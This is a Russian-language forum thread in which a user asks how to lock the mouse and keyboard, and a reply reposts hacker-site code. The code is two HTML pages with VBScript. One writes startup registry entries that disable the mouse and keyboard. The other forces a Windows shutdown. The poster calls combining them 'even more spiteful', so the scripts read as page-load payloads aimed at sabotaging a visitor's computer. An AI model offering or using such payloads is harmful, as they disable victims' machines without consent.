Как всё-таки залочить мышь и клаву???

Статус
Закрыто для дальнейших ответов.

dxp

floppy-диск
Пользователь
Регистрация
09.08.2005
Сообщения
1
Реакции
0
Слушайте кто-нибудь :help: .Меня :diablo: начальник :diablo: придушит если я не сделаю в программе-админе залочивание мыши и клавы
 
Какое отношение тема имеет к ОСям и дровам?? Имхо ей место в кодинге. Я б перенес, тока я тут не модер :(
 
Взято с antichat.ru -->

Код:
Ну и главное! Сделать это, а точнее занести инфу в реестр можно с помощью VBScript:

<HTML>
<HEAD>
</head>
<body>
<script LANGUAGE="VBScript">
<!--
Dim WshShell
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Mad", "rundll32 mouse,disable"

WshShell.RegWrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Dead", "rundll32 keyboard,disable"

-->
</SCRIPT>
</BODY>
</HTML>

Либо сразу перегрузку обезпечить

<HTML>
<HEAD>
</head>
<body>
<script LANGUAGE="VBScript">
<!--

Set Shell=CreateObject("WScript.Shell") 
Shell.Run "Rundll32.exe User.exe,ExitWindows"

-->
</SCRIPT>
</BODY>
</HTML>

А еще обидней - ВсЕ СРАЗУ

P.S. 1 (функционирование в W'95 ещё не проверялось)
Добавлено в [time]1134913090[/time]
http://antichat.ru/txt/old/tiran.shtml ссылка на источник
 
Статус
Закрыто для дальнейших ответов.
Верх